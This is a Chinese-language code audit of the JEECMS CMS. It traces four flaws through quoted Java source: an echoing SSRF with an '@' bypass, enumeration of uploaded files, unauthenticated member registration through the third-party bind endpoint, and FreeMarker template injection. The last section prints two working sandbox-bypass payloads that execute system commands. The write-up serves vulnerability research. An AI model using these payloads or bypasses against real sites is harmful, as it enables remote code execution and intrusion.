简要分析:
从官网的论坛上没有找到开发文档,从jeecms-parent/jeecms-common/pom.xml
中可以发现应用系统使用了QueryDsl。QueryDsl是一个用于构建类型安全的SQL查询的框架,它可以根据你定义的JPA Entity实体类逆向生成查询类,通过操作查询类完成SQL的操作。从代码中可以发现使用了JPAQueryFactory来构建和执行查询。JPAQueryFactory会自动处理参数的转义和注入,确保查询的安全性,也就是不存在SQL注入的问题。
0x01 服务端请求伪造(SSRF):
源文件位置:src/main/java/com/jeecms/common/base/controller/CommonController.java
@RequestMapping(value = "/loadingImage")
public void loadingImage(HttpServletRequest request, HttpServletResponse response) {
response.setContentType("image/jpeg");
String imageUrl = request.getParameter("imageUrl");
if(imageUrl.startsWith(LIMIT_RES_WX_HTTP) || imageUrl.startsWith(LIMIT_RES_WX_HTTPS)){
ServletOutputStream out;
try {
out = response.getOutputStream();
out.write(HttpUtil.readURLImage(imageUrl));
out.close();
} catch (IOException e) {
logger.error(e.getMessage());
}
}else{
ServletOutputStream out;
try {
out = response.getOutputStream();
response.setStatus(Response.SC_NOT_FOUND);
out.close();
} catch (IOException e) {
logger.error(e.getMessage());
}
}
}
imageUrl用户可控,静态变量LIMIT_RES_WX_HTTP和LIMIT_RES_WX_HTTPS指向域名mmbiz.qpic.cn
这里可以通过@符号进行绕过,然后会调用HttpUtil.readURLImage(imageUrl),最后将imageUrl参数传给readURLImage()方法发送GET请求:
在readURLImage方法还会调用readInputStream()方法获取响应信息,也就是说这是个有回显的SSRF漏洞
漏洞复现:
证明截图:
0x02 静态资源信息泄露:
源文件位置:src/main/java/com/jeecms/admin/controller/resource/UeditorUploadAct.java
@RequestMapping(value = "/ueditor/imageManager")
public void imageManager(Integer picNum, Boolean insite,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
super.imageManager(picNum, insite, request, response);
}
这里会调用父类的imageManager()方法,跟进后发现会调用listFile()方法,传递request对象和请求参数start作为形参。
追踪重点方法listFile(),首先从请求中获取全局配置信息,然后根据配置中的上传路径(/u/cms/www)创建一个File对象,如果目录存在且是一个目录,方法将使用Apache Commons IO 库的FileUtils.listFiles方法获取目录下的所有文件(包括子目录),若start参数在有效范围内,将从文件列表中提取从start开始的20个文件,最后将文件列表的起始索引和总大小添加到状态对象中,并返回该对象。
也就是说,虽然一次只能获取20个文件的信息,我们可以通过多次请求,传参start+=20来获取/u/cms/www目录下的所有文件的路径信息。
漏洞复现:
Payload:http://192.168.0.101:8083/ueditor/imageManager?start=20
漏洞证明:
0x03 任意用户注册:
源文件位置:src/main/java/com/jeecms/front/controller/ThirdPartyLoginController.java
在第291行中,设置了一个URL路径为/bind
的映射,将请求体中的数据传输到实体类PcLoginDto对象中
//判断登录方式
if (PcLoginDto.TYPE_LOGIN.equals(dto.getLoginWay())) {
Boolean validName = memberService.validName(dto.getUsername());
if (!validName) {
return new ResponseInfo(UserErrorCodeEnum.USERNAME_ALREADY_EXIST.getCode(),
UserErrorCodeEnum.USERNAME_ALREADY_EXIST.getDefaultMessage(), false);
}
//如果是直接登录,则默认创建会员,密码随机
user.setPassword(String.valueOf(new SnowFlake(SnowFlake.SHORT_STR_CODE).nextId()));
// 密码加密
byte[] salt = Digests.generateSaltFix();
user.setSalt(Digests.getSaltStr(salt));
user.setThird(true);
//新建会员用户
user = memberService.save(user);
this.bind(dto, user.getId());
当传递的loginWay=1时,检查username是否已经存在,若不存在则使用SnowFlake算法来生成一个短字符串作为密码,生成随机盐值设置为用户对象的盐值属性,然后调用memberService.save()方法获取一个新的实体类对象,然后执行bind()方法绑定第三方用户:
public void bind(PcLoginDto dto, Integer memberId) throws GlobalException {
//查询第三方配置信息
SysThird thirdInfo = thirdService.getCode(dto.getLoginType());
SysUserThird third = new SysUserThird();
third.setAppId(thirdInfo.getAppId());
third.setThirdId(dto.getThirdId());
third.setThirdUsername(dto.getNickname());
third.setMemberId(memberId);
third.setUsername(dto.getUsername());
third.setThirdTypeCode(dto.getLoginType());
sysUserThirdService.save(third);
}
综上,请求体中我们需要传递的参数有username
、loginWay
、loginType
和thirdId
,username不能是已经存在的用户名,loginWay要求等于1,loginType为QQ、WECHAT、WEIBO其中之一。
漏洞复现:
0x04 模板注入:
使用opensca-cli检查第三方组件漏洞,发现系统存在间接依赖freemarker:2.3.28
,该版本存在SSTI漏洞
首先查找文件上传的接口,是否有用户可控,且不限制上传后缀或可被模板渲染解析的后缀。
源文件位置:src/main/java/com/jeecms/member/controller/UploadController.java
此处为注册用户可操作的一处上传接口,重点理解服务端如何处理上传的文件,追踪upload()方法
方法定义:src/main/java/com/jeecms/resource/service/impl/UploadService.java:
在validate()方法中会对上传的文件名进行验证:不允许存在/
和空字符:
若指定了上传路径uploadPath,则需满足如下要求: 必须以/u/cms
开头,且不得存在字符 ..\
或 ../
根据文件内容获取前10个字节的16进制数作为识别文件的标识,若识别到则进行白名单文件检查,否则进行黑名单检查
在doUpload()方法中,首先会根据文件内容判断其是否为图片,当拓展名为空时设置为jpg后缀:
最终调用storeByExt()方法根据拓展名生成一个随机文件名,并调用store()方法上传文件
利用该接口我们可以上传HTML文件至/u/cms/202X0X/
目录下,于是找可以模板解析的代码:
源文件位置:src/main/java/com/jeecms/front/controller/FrontCommonController.java
@GetMapping(value = "/{page}.htm")
public String page(@PathVariable String page, HttpServletRequest request, HttpServletResponse response,
ModelMap model) throws Exception {
String loginUrl = WebConstants.LOGIN_URL;
String ctx = request.getContextPath();
if (StringUtils.isNoneBlank(ctx)) {
loginUrl = ctx + loginUrl;
}
FrontUtils.frontData(request, model);
FrontUtils.frontPageData(request, model);
/** 将request中所有参数保存至model中 */
Map<String, Object> params = RequestUtils.getQueryParams(request);
if(params!=null){
Set<String>keySet = params.keySet();
String uri = request.getRequestURI();
if (StringUtils.isNoneBlank(ctx)) {
uri = uri.substring(ctx.length());
}
for(String key:keySet){
if(params.get(key) instanceof String){
String val = (String) params.get(key);
if (StrUtils.isStartWithNumber(val) && !StrUtils.isNumeric(val) && !uri.startsWith(WebConstants.SEARCH_PREFIX)) {
return FrontUtils.pageNotFound(request, response, model);
}
params.put(key,XssUtil.cleanXSS(val));
}
}
}
model.putAll(params);
String tpl = FrontUtils.getTplAbsolutePath(request, page, RequestUtils.COMMON_PATH_SEPARATE);
String view = FrontUtils.getTplPath(request, tpl);
String viewPath = realPathResolver.get(view);
boolean tplExist = false;
if (WebConstants.FREEMARKER_RES_TYPE.equals(freemarkResType)) {
viewPath = templateLoaderPath + view;
tplExist = new UrlResource(viewPath).exists();
} else {
viewPath = java.text.Normalizer.normalize(viewPath, java.text.Normalizer.Form.NFKD);
File tplFile = new File(viewPath);
tplExist = tplFile.exists();
}
if (tplExist) {
return view;
} else {
return FrontUtils.pageNotFound(request, response, model);
}
}
模板文件默认存放位置:/r/cms/www/default
首先调用FrontUtils.frontData(request, model)
和FrontUtils.frontPageData(request, model)
会将系统的一些配置信息如模板文件默认存放位置/r/cms/www/default
及部分访问路径信息保存在model中,通过利用org.springframework.ui.ModelMap
,在model上添加对象,model是以map的形式存储的,这里的key和模板里是对应的,freemarker就是通过key来取得value的进行渲染。
然后调用FrontUtils.getTplAbsolutePath()方法,当 path 中存在-
时,会以/
进行替换。该方法用于获取模板的绝对路径。
由于在新版本freemarker中, 多了一个TemplateClassResolver.SAFER_RESOLVER
配置。禁止加载ObjectConstructor
,Execute
和freemarker.template.utility.JythonRuntime
这三个类。同时为了防御通过其他方式调用恶意方法,FreeMarker内置了一份危险方法名单:unsafeMethods.properties
Constructor.newInstance被禁使得我们不能直接实例化对象,Method.invoke被禁使得我们不能直接调用方法。这里要做的是寻找一个类的静态成员对象(public static final),然后执行它的静态方法。
FreeMarker自带的O bjectWrapper类就是一个不错的选择,它的DEFAULT_WRAPPER字段是一个实例化后的O bjectWrapper对象,而O bjectWrapper的newInstance方法(继承自BeansWrapper)可以用于实例化一个类,我们只需要向它传入被禁用的freemarker.template.utility.Execute进行实例化,返回的对象就可以直接用于执行系统命令。
在2.3.30以下,freemaker模版注入存在绕过沙箱的方法:
- 绕过class.getClassloader反射加载Execute类:
<#assign classloader=<<object>>.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
通过使用java.security.protectionDomain
的getClassLoader
方法来获得类加载器再一步一步反射调用Execute类,此payload需要在数据模型中找到一个作为对象的变量,比如从后台模板管理处,编辑index.html,将上面payload中的<<object>>为site:
- 如果Spring Beans可用,可以直接禁用沙箱:
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}
此payload需要freemarker+spring并设置setExposeSpringMacroHelpers(true)
或者在application.propertices中配置spring.freemarker.expose-spring-macro-helpers=true
漏洞复现:
利用条件:JEECMS-Auth-Token